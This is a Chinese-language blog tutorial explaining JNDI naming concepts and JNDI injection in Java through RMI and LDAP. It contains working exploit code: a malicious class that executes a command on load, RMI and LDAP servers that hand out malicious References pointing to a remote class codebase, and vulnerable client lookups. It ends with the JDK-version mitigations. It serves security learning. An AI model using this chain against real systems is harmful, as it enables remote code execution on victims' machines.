一、什么是JNDI?
jndi的全称为Java Naming and Directory Interface(java命名和目录接口)SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互、如图:
我的理解就是管理者可以使用JNDI API访问不同的命名服务和目录系统(LDAP、DNS、RMI、CORBA等)
二、命名和目录概念
2.1 命名概念
任何计算系统中的一个基本设施是命名服务——名称与对象相关联的方法,对象是根据它们的名称找到的。在使用几乎任何计算机程序或系统时,您总是在命名一个或另一个对象。例如,当您使用电子邮件系统时,您必须提供收件人的姓名。要访问计算机中的文件,您必须提供其名称。命名服务允许您查找给定名称的对象。
例如:互联网域名系统 (DNS) 将机器名称映射到 IP 地址:
www.example.com ==> 192.0.2.5
文件系统将文件名映射到程序可以用来访问文件内容的文件引用:
c:\bin\autoexec.bat ==> File Reference
2.1.1 名称(Names)
要在命名系统中查找对象,请向其提供对象的名称。命名系统确定名称必须遵循的语法。名称由组件组成。 名称的表示由标记名称组件的组件分隔符组成。
例如:
- UNIX文件系统,使用
/
作为分隔符:/usr/123
- 域名系统,使用
.
作为分隔符:baidu.com
- LDAP(轻量级目录访问协议),使用
, =
作为分隔符:cn=Rosanna Lee,o=Sun,c=US
2.1.2 绑定(Bindings)
名称与对象的关联称为 绑定 。 文件名 绑定 到文件。
DNS 包含将机器名称映射到 IP 地址的绑定。 LDAP 名称绑定到 LDAP 条目。
简而言之,命名服务是一种简单的键值对绑定,可以通过键名检索值,RMI就是典型的命名服务
2.2 目录概念
目录服务是命名服务的拓展
目录服务将名称与对象相关联,并将此类对象与属性相关联
它与命名服务的区别在于它可以通过对象属性来检索对象
例如:我们在某个学校寻找一个人,通常以 学校 –> 班级 –> 姓名 来寻找,学校、班级、姓名就是这个人的属性,这种层级关系就很像目录关系,所以这种存储对象的方式就叫目录服务。LDAP是典型的目录服务。
感觉目录关服务和命名服务的本质是一样的,都是通过键来寻找这个对象,不过目录服务的键更灵活且复杂
我们只要知道jndi是对各种访问目录服务的逻辑进行了再封装
也就是以前我们访问rmi与ldap要写的代码差别很大,但是有了jndi这一层,我们就可以用jndi的方式来轻松访问rmi或者ldap服务
这样访问不同的服务的代码实现基本是一样的
从图中可以看到,访问RMI服务时,我们只是传了一个简单的键foo
,RMI服务端却返回了一个对象(命名服务)
在访问LDAP时,传过去的字符串含有多个键值对,比较复杂,这些键值对就是对象的属性,LDAP根据这些属性来寻找对象(目录服务)
三、JNDI代码实现
在jndi中提供了绑定和查找的方法:
- bind:将名称绑定到对象中
- lookup:通过名称检索执行的对象
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;
/**
* jndi调用RMI
*/
public class CallService {
public static void main(String[] args) throws Exception {
//服务端
// 创建一个rmi映射表
Registry registry = LocateRegistry.createRegistry(1099);
IHelloService hello = new HelloServiceImpl();
registry.bind("hello",hello);
//客户端
//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
//创建初始化环境
Context ctx = new InitialContext(env);
IHelloService rhello = (IHelloService) ctx.lookup("rmi://localhost:1099/hello");
System.out.println(rhello.sayHello("siii0"));
}
}
上面的代码将客户端和服务端写到一起去了
四、JNDI动态协议转换
在上面的代码中,配置JNDI信息处,Context.PROVIDER_URL
属性指定了到哪去加载本地没有的类
所以ctx.lookup("hello")
也是可以的
那么什么是动态协议转换?
就是当lookup中的参数像rmi://localhost:1099/hello
一样也是uri地址时,即使配置了Context.PROVIDER_URL
,
客户端仍然会去那个uri地址加载远程对象
所以,这也是为什么lookup()方法中的参数可控时,攻击者可以构造一个恶意的uri地址,来控制受害者去加载恶意类
但是这样就能完成攻击吗?当然不行,因为受害者本地并没有和攻击者一样的恶意类(class文件),而上面的demo是在本地进行的,所以可以访问相同的类
五、JNDI Naming Reference
接下里就需要借助这个东西
Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。
在使用Reference时,我们可以直接将对象传入构造方法中,当被调用时,对象的方法就会被触发,创建Reference实例的几个关键属性:
- className:远程加载时使用的类名
- classFactory:加载的class中需要实例化类的名称
- classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file、ftp和http等协议
当有客户端通过 lookup("refObj") 获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference 实例,客户端会首先去本地的 CLASSPATH 去寻找被标识为 refClassName 的类,如果本地未找到,则会去请求 http://example.com:12345/refClassName.class 动态加载 classes 并调用 insClassName 的构造函数。
还有,要把一个对象绑定到rmi注册表需要继承UnicastRemoteObject,但是Reference并没有继承它,所以还需要封装一下它,使用ReferenceWrapper包裹一下Reference实例对象,这样就可以将其绑定到rmi注册表,并被远程访问到了
/*
1、第一个参数是远程加载时所使用的类名
2、第二个参数是要加载的类的完整类名
3、第三个参数就是远程class文件存放的地址
*/
Reference refObj = new Reference("refclassName","insClassName","http://siii0.com:6666");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
refObjWrapper.bind("refObj",refObjWrapper);
总的流程就是:
1、客户端通过lookup方法加载远程对象时,获取的是一个Reference stub(存根/桩,远程对象在客户端上的代理),然后客户端会先在本地的classpath中去检查是否存在类refClassName,如果不存在就去 http://siii0.com:6666/refClassName.class 动态加载,并调用insClassName的无参构造函数,所以可以在无参构造函数中写恶意代码,当然也可以使用static代码块
六、JNDI注入(jndi+rmi)
原理:
就是将恶意的Reference类绑定到RMI注册表中,并将受害者的远程加载指向恶意的class文件,当受害者在JNDI客户端的lookup方法参数可控或classFactoryLocation参数外部可控时,就有可能导致受害者的JNDI客户端远程加载攻击者的恶意类并本地执行,造成JNDI注入
jndi注入利用条件(满足一个就行):
- 客户端的lookup()方法参数可控
- 服务端在使用Reference类时,classFactoryLocation参数可控
- 另外,jdk版本不同也可能导致利用的方法不同
代码实现:
- 创建恶意类
import java.io.IOException;
public class EvilObj {
public EvilObj() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
- 创建rmi服务端,绑定恶意的Reference到rmi注册表
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
System.out.println("在端口1099创建RMI注册表");
Reference reference = new Reference("EvilObj", "EvilObj", "http://127.0.0.1:6666");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil",referenceWrapper);
}
}
- 创建客户端
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
InitialContext ic = new InitialContext();
//因为jdk高版本的原因需要设置,否则会报错
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
ic.lookup("rmi://127.0.0.1/evil");
}
}
最后将恶意类放在python搭建的一个简易的服务器上(http://127.0.0.1:6666)
然后运行服务端和客户端,受害者(客户端)就加载了恶意类
不过可能是因为我们的jdk版本过高的原因(即使将trustURLCodebase设置为了true),最终并没有弹出计算器(这时的版本为jdk8u333)
然后更换版本为jdk1.8.0_73,成功弹出计算器
还有最重要的一点:恶意类别放在package中,否则远程引用时会由于代码一开始的package com.my.
而报错
上图会导致远程加载类在本地客户端执行时无法找到类对象
七、JNDI注入(jndi+ldap)
因为利用RMI会受到jdk版本的限制,所以就有了利用ldap的注入,因为LDAP+Reference
中Reference的远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase
等属性的限制,所以适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。
LDAP概念:
LDAP轻型目录访问协议(英文:Lightweight Directory Access Protocol),是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息
LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址如
ldap://xxx/xxx
,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。
- ldap服务端段
只需要注意两个成员变量:
- url 和 port
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:6666/#EvilObj"; //这是远程加载class文件的地址
int port = 8888; //这是ldap的端口
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
- ldap客户端
这里的/qqq
可以随便填,这样就能去加载远程class文件并在本地执行了
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LdapClient {
public static void main(String[] args) throws NamingException {
Context ic = new InitialContext();
Object lookup = ic.lookup("ldap://127.0.0.1:8888/qqq");
}
}
八、总结
jndi注入对jdk版本的要求很高
jndi注入原理(RMI和LDAP都差不多):
就是将恶意的Reference类绑定到RMI注册表,当受害者调用lookup()方法去加载远程对象的时候,就会获得一个Reference对象,然后先在本地寻找Reference指定的类,若找不到则去远程服务器中加载class文件,并在本地执行
下面这张图应该是lookup()的参数可控导致的(访问了恶意的rmi服务器,这样Reference类整个就是可控的)
这里将所有不同版本JDK的防御都列出来:
- JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly
的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件
,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。 - JDK 6u141、7u131、8u121之后:增加了
com.sun.jndi.rmi.object.trustURLCodebase
选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项
,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。 - JDK 6u211、7u201、8u191之后:增加了
com.sun.jndi.ldap.object.trustURLCodebase
选项,默认为false,禁止LDAP协议使用远程codebase的选项
,把LDAP协议的攻击途径也给禁了。
参考文章
1、官方文档https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
- 本文链接:http://siii0.github.io/JNDI%E6%B3%A8%E5%85%A5/
- 版权声明:本博客所有文章除特别声明外,均默认采用 许可协议。